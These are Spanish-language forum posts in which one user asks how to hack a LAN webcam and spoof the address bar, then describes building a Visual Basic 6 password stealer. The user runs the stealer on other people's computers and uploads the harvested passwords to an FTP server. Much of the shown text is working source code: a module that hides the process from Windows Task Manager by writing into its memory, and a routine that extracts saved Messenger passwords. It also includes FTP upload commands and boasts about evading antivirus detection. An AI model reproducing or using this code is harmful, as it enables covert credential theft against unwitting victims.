Hola!

Alguien tiene algun programa para """""""HACKEAR""""""" una webcam en lan?

s2

Buenos dias


Estoy tratando de dejar la url fija en html (zymic.com, host gratis...)

No tengo idea de html, pero lei un poco y... se que se hace con 'frames' o 'iframes' ,algo asi.

Codigo que uso:

<!-- Codigo ofrecido por Tutores.org -->
<frameset rows="100%">
<frame name="principal" src="http://www.tutores.org/tutores/index.asp" marginwidth="0"
marginheight="0" scrolling="auto" frameborder="0" noresize>
</frameset>

pero no carga, osea, queda la pagina en blanco ._.
lo pongo despues del </head>

Alguna ayuda? Gracias

Aclaro: no estoy interesado en html ni es tarea, si fuera asi, estudiaria... solo estoy probando unas cosas (Oseano tengo pensado progresar)
espero me entiendan! gracias!


recien cree un index nuevo, puse el codigo y funcionaba perfecto e.e

la cosa es que, lo que hace esto es dejar la url fija, claro, pero yo no necesito esto (Recien ahora caigo)
Lo que necesito es modificar lo que esta en la barra de direcciones... se puede?

saludos

ejemplo: mi web es www.raulerotikus.com , quiero saber si se puede editar desde html ("Engañar" la barra de direcciones), e indicarle que estoy en www.wikipedia.com

se entiende? :3
o algun otro metodo que no sea del html ?

bueno, se ve que pasa el tiempo, y los enfermos llenan el dr abuse de virus, o simplemente, es un virus

es la segunda vez que bajo esta ***** de programa

www.mediafire.com/?owxc0wco21m521x

y es la segunda vez que viene con un troyano distinto

desde que lo instale se me metio un troyano, facil de borrar, como cualquier otro. (&homedrive%\system32\install\DSick.exe o algo asi,)

bueno esta bosta crea 2 explorer.exe (solo de proceso, no de archivo (si miran el registro lo borran rapido, pero no tiene que estar NINGUN explorer.exe en ejecucion, osea , hay que borrarlos desde el modo seguro. tmb el de install, es facil)

el punto es:

esta ***** de programa es un virus o los enfermos le meten virus?

la ruta de compilacion del exe (troyano) es:

c:\document....\administrador\source FUD\jasjanaisvsaac.vbp o algo asi

aca les dejo el server para que lo analicen si quieren

(yo no encuentro la parte que conecta, osea, a la ip que conecta.)

pero creo que manda a un ftp, porq el imbecil no borro el comentario 'ejemplo de conectar al ftp con apis'    o algo asi dice,


http://www.sendspace.com/file/31f7bg


ojo por ojo...................

p.d: tambien crea en \system32\3.exe (que es el que subi)
-------------------------------------------------

http://www.virustotal.com/file-scan/report.html?id=52c407037f5849a797eb54a985e40679f2f4035807e8c29db0da8a39945550d4-1304284479
----------------------------------------------------

Holaaa!!!

bueno, ^^

el otro dia, nose como llegue a el programa 'webbrowserpassview'

eso te da todas las passwords de varios navegadores.

entonces entre a buscar stealers de firefox, lo poco que encontre, estaba en .net ._.

nadie sabe nada en vb6?

se que supuestamente estan almacenadas en 'key3.db'

pero trato de abrir el db y me dice
----------------------------------------------------
(Aca : C:\Documents and Settings\Neo.-\Datos de programa\Mozilla\Firefox\Profiles\xxypbp77.default

lo negrita es variable).

----------------------------------------------------

intento abrir el db con el developer studio o algo asi que viene con el vb6 (   ) y me dice

Sharing Violation

---

Entonces intento abrir el db con ese programa... como era xd

ah con este

http://www.megaupload.com/?d=A3LWPH4S

pero no tengo ni idea como se abre ajaj, osea, lo abre pero queda todo en gris  

hola!

bueno estoy haciendo un stealer apra uso personal

resulta q solo lo detectan 3 antivirus pedorros, segun virusstotal

NADIE, tiene el exe. NADIE

solo virustotal.

ahora me llegan los archivos con las contraseñas de la pc de 'isabella'

no creo que sea posible pero... yo maarque como goodware.

esposible que los de virustotal esten 'probando' ????

repito, nadie tiene el exe, solo virustotal.

s2



 

holas :p

cuando creo un exe con un archivo de recursos, me salta el antivirus. (dice trojan/dropped) algo asi.

empece a hacer pruebas, no importa que meta en el archivo de recursos, siempre salta.

soy el unico?

s2

- Avira -

 + yapa  

 
Option Explicit
 
Private Sub Form_Load()
 
End Sub
 
Private Sub Timer1_Timer()
On Error GoTo error
 
Dim neo As String
neo = Environ$("windir") & "\" & "nukje.exe"
Kill neo
End
Exit Sub
error:
MsgBox "FATAL ERROR", vbInformation, ""
End
 
End Sub
 
 

da como resultado : (probado en 3 pc's distintas)

Holaa, nose donde postear.

cree un stealer en visual basic 6

entra, roba las passwords, se elimina y listo

lo termine anoche, NADIE lo tenia. NADIE.

esta mañana se me dio por ver el ftp, habia como 5 archivos (de contraseñas), pero estaban vacios. como es eso, si nadie tenia el stealer!?

bueh.... recien estaba haciendo otras pruebas,

en la pc 'Micky' (mi hermana), y en otra de un amigo

se me dio por presionar f5 en el filezila





alguien sabe algo? ._.

Holaaaaas   

:3

el avira me detecta 2 modulos como viricos,

este es para ocultar el proceso del admin de tareas

 
Option Explicit
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function EnumChildWindows Lib "user32" (ByVal hWndParent As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
 
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
 
Public Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Public Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
 
Const PROCESS_VM_OPERATION = &H8
Const PROCESS_VM_READ = &H10
Const PROCESS_VM_WRITE = &H20
Const PROCESS_ALL_ACCESS = 0
Private Const PAGE_READWRITE = &H4&
 
Const MEM_COMMIT = &H1000
Const MEM_RESERVE = &H2000
Const MEM_DECOMMIT = &H4000
Const MEM_RELEASE = &H8000
Const MEM_FREE = &H10000
Const MEM_PRIVATE = &H20000
Const MEM_MAPPED = &H40000
Const MEM_TOP_DOWN = &H100000
 
Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function VirtualFreeEx Lib "kernel32" (ByVal hProcess As Long, lpAddress As Any, ByVal dwSize As Long, ByVal dwFreeType As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
 
Private Const LVM_FIRST = &H1000
Private Const LVM_GETTITEMCOUNT& = (LVM_FIRST + 4)
 
Private Const LVM_GETITEMW = (LVM_FIRST + 75)
Private Const LVIF_TEXT = &H1
Private Const LVM_DELETEITEM = 4104
 
Public Type LV_ITEM
 mask As Long
 iItem As Long
 iSubItem As Long
 State As Long
 stateMask As Long
 lpszText As Long 'LPCSTR
 cchTextMax As Long
 iImage As Long
 lParam As Long
 iIndent As Long
End Type
 
Type LV_TEXT
 sItemText As String * 80
End Type
 
Public Function Procesos(ByVal hWnd2 As Long, lParam As String) As Boolean
Dim Nombre As String * 255, nombreClase As String * 255
Dim Nombre2 As String, nombreClase2 As String
Dim X As Long, Y As Long
X = GetWindowText(hWnd2, Nombre, 255)
Y = GetClassName(hWnd2, nombreClase, 255)
 
Nombre = Left(Nombre, X)
nombreClase = Left(nombreClase, Y)
Nombre2 = Trim(Nombre)
nombreClase2 = Trim(nombreClase)
If nombreClase2 = "SysListView32" And Nombre2 = "Procesos" Then
 OcultarItems (hWnd2)
 Exit Function
End If
If Nombre2 = "" And nombreClase2 = "" Then
Procesos = False
Else
Procesos = True
End If
End Function
 
Private Function OcultarItems(ByVal hListView As Long) ' As Variant
 Dim pid As Long, tid As Long
 Dim hProceso As Long, nElem As Long, lEscribiendo As Long, i As Long
 Dim DirMemComp As Long, dwTam As Long
 Dim DirMemComp2 As Long
 Dim sLVItems() As String
 Dim li As LV_ITEM
 Dim lt As LV_TEXT
 If hListView = 0 Then Exit Function
 tid = GetWindowThreadProcessId(hListView, pid)
 nElem = SendMessage(hListView, LVM_GETTITEMCOUNT, 0, 0&)
 If nElem = 0 Then Exit Function
 ReDim sLVItems(nElem - 1)
 li.cchTextMax = 80
 dwTam = Len(li)
 DirMemComp = GetMemComp(pid, dwTam, hProceso)
 DirMemComp2 = GetMemComp(pid, LenB(lt), hProceso)
 For i = 0 To nElem - 1
 li.lpszText = DirMemComp2
 li.cchTextMax = 80
 li.iItem = i
 li.mask = LVIF_TEXT
 WriteProcessMemory hProceso, ByVal DirMemComp, li, dwTam, lEscribiendo
 lt.sItemText = Space(80)
 WriteProcessMemory hProceso, ByVal DirMemComp2, lt, LenB(lt), lEscribiendo
 Call SendMessage(hListView, LVM_GETITEMW, 0, ByVal DirMemComp)
 Call ReadProcessMemory(hProceso, ByVal DirMemComp2, lt, LenB(lt), lEscribiendo)
 If TrimNull(StrConv(lt.sItemText, vbFromUnicode)) = App.EXEName & ".exe" Then '<===========CAMBIAR
 Call SendMessage(hListView, LVM_DELETEITEM, i, 0)
 Exit Function
 End If
 Next i
 CloseMemComp hProceso, DirMemComp, dwTam
 CloseMemComp hProceso, DirMemComp2, LenB(lt)
End Function
 
Private Function GetMemComp(ByVal pid As Long, ByVal memTam As Long, hProceso As Long) As Long
 hProceso = OpenProcess(PROCESS_VM_OPERATION Or PROCESS_VM_READ Or PROCESS_VM_WRITE, False, pid)
 GetMemComp = VirtualAllocEx(ByVal hProceso, ByVal 0&, ByVal memTam, MEM_RESERVE Or MEM_COMMIT, PAGE_READWRITE)
End Function
 
Private Sub CloseMemComp(ByVal hProceso As Long, ByVal DirMem As Long, ByVal memTam As Long)
 Call VirtualFreeEx(hProceso, ByVal DirMem, memTam, MEM_RELEASE)
 CloseHandle hProceso
End Sub
Private Function TrimNull(sInput As String) As String
 Dim pos As Integer
 pos = InStr(sInput, Chr$(0))
 If pos Then
 TrimNull = Left$(sInput, pos - 1)
 Exit Function
 End If
 TrimNull = sInput
End Function
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Dim Handle As Long
Handle = FindWindow(vbNullString, "Administrador de tareas de Windows")
If Handle <> 0 Then EnumChildWindows Handle, AddressOf Procesos, 1
End Sub
 
Public Sub Ocultar(ByVal hwnd As Long)
 App.TaskVisible = False
 SetTimer hwnd, 0, 20, AddressOf TimerProc
End Sub
 
Public Sub Mostrar(ByVal hwnd As Long)
 App.TaskVisible = True
 KillTimer hwnd, 0
End Sub
 

y este es para obtener las contraseñas del msn guardadas

 
Option Explicit
 
'---------------------------------------------------------------------------------------
' Module      : mMessengerPass
' DateTime    : 23/09/2008 11:24
' Author      : Cobein
' Mail        : cobein27@hotmail.com
' WebPage     : http://www.advance.com.ar
' Purpose     : Read WLM (>= 8.0) pass
' Usage       : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
'               applications, but you may not reproduce
'               or publish this code on any web site,
'               online service, or distribute as source
'               on any media without express permission.
'
' Reference   : No idea about the original author, It was a french guy tho
'
' History     : 23/09/2008 First Cut....................................................
'---------------------------------------------------------------------------------------
 
 
Private Declare Function LocalFree Lib "kernel32.dll" (ByVal hMem As Long) As Long
Private Declare Function LocalAlloc Lib "kernel32.dll" (ByVal wFlags As Long, ByVal wBytes As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
Private Declare Function CredEnumerate Lib "ADVAPI32.dll" Alias "CredEnumerateW" (ByVal lpszFilter As Long, ByVal lFlags As Long, ByRef pCount As Long, ByRef lppCredentials As Long) As Long
Private Declare Function CredFree Lib "ADVAPI32.dll" (ByVal pBuffer As Long) As Long
Private Declare Function CryptUnprotectData Lib "crypt32.dll" (ByRef pDataIn As DATA_BLOB, ByVal ppszDataDescr As Long, ByVal pOptionalEntropy As Long, ByVal pvReserved As Long, ByVal pPromptStruct As Long, ByVal dwFlags As Long, ByRef pDataOut As DATA_BLOB) As Long
Private Declare Function SysAllocString Lib "oleaut32.dll" (ByVal pOlechar As Long) As String
Private Declare Function GetVersionEx Lib "kernel32.dll" Alias "GetVersionExA" (ByRef lpVersionInformation As OSVERSIONINFO) As Long
 
Private Type CREDENTIAL
    dwFlags                 As Long
    dwType                  As Long
    lpstrTargetName         As Long
    lpstrComment            As Long
    ftLastWritten           As Double
    dwCredentialBlobSize    As Long
    lpbCredentialBlob       As Long
    dwPersist               As Long
    dwAttributeCount        As Long
    lpAttributes            As Long
    lpstrTargetAlias        As Long
    lpUserName              As Long
End Type
 
Private Type DATA_BLOB
    cbData                  As Long
    pbData                  As Long
End Type
 
Private Type OSVERSIONINFO
    dwOSVersionInfoSize     As Long
    dwMajorVersion          As Long
    dwMinorVersion          As Long
    dwBuildNumber           As Long
    dwPlatformId            As Long
    szCSDVersion            As String * 128
End Type
 
Public Function EnumWLMAccounts() As String
    Dim lMem        As Long
    Dim i           As Long
    Dim lCount      As Long
    Dim lCred       As Long
    Dim ub          As Long
    Dim lPtr        As Long
    Dim tCred       As CREDENTIAL
    Dim tBlobOut    As DATA_BLOB
    Dim tBlobIn     As DATA_BLOB
    Dim sPass       As String
    Dim vData       As Variant
    Dim tOSV        As OSVERSIONINFO
 
    With tOSV
        .dwOSVersionInfoSize = Len(tOSV)
        Call GetVersionEx(tOSV)
        If Not .dwMajorVersion + .dwMinorVersion / 10 >= 5.1 Then
            Exit Function
        End If
    End With
 
    lMem = LocalAlloc(&H40, 38)
 
    vData = Array( _
       &H57, &H69, &H6E, &H64, &H6F, &H77, &H73, &H4C, &H69, _
       &H76, &H65, &H3A, &H6E, &H61, &H6D, &H65, &H3D, &H2A)
 
    For i = 0 To 17
        Call CopyMemory(ByVal lMem + (i * 2), CLng(vData(i)), &H1)
    Next
 
    Call CredEnumerate(lMem, 0, lCount, lCred)
 
    If lCount Then
        For i = ub To ub + lCount - 1
 
            Call CopyMemory(ByVal VarPtr(lPtr), ByVal lCred + (i - ub) * 4, &H4)
            Call CopyMemory(ByVal VarPtr(tCred), ByVal lPtr, &H34)
 
            With tBlobIn
                .pbData = tCred.lpbCredentialBlob
                .cbData = tCred.dwCredentialBlobSize
 
                Call CryptUnprotectData(tBlobIn, 0&, 0&, 0&, 0&, 1&, tBlobOut)
 
                sPass = Space(.cbData \ 2)
                Call CopyMemory(ByVal StrPtr(sPass), ByVal .pbData, .cbData)
            End With
 
                       EnumWLMAccounts = EnumWLMAccounts & vbCrLf & vbCrLf & String(50, "-") & vbCrLf
            EnumWLMAccounts = EnumWLMAccounts & "Protocolo: " & StrConv(SysAllocString(tCred.lpstrTargetName), vbFromUnicode) & vbCrLf
            EnumWLMAccounts = EnumWLMAccounts & "Cuenta: " & StrConv(SysAllocString(tCred.lpUserName), vbFromUnicode) & vbCrLf
            EnumWLMAccounts = EnumWLMAccounts & "Contraseña: " & sPass & vbCrLf
            EnumWLMAccounts = EnumWLMAccounts & String(50, "-") & vbCrLf
 
        Next
        ub = ub + lCount
    End If
 
    Call CredFree(lCred)
    Call LocalFree(lMem)
End Function
 
 

la verdad nose que hay que hacer,

osea es como q estoy en el desierto sin brujula y tengo q ir al norte (en este desierto no hay sol xd) (?

que tengo que hacer?

Buenos dias  

tengo un modulo .bas, solo para declarar esta variable

 
 
Public Arch As String
 
Arch = Environ$("windir") & "\" & n4me.Text & ".php"
 
 
 

me da error aca:

"windir"



._.    , no entiendo porque....

-----

lo llamo desde otro bat:

ftp -s:C:\WINDOWS\NICO.bat
-----

me da error,

alguien me dice que esta mal :S

s2 (gracias :3!)


-----------------------------

ftp> mput windows\NICO.dll
mput windows\NICO.dll?
200 PORT command successful
553 Filetype not allowed. File NICO.dll won't be saved.

------------------------------

solucion: el ftp no soporta dll q tonto.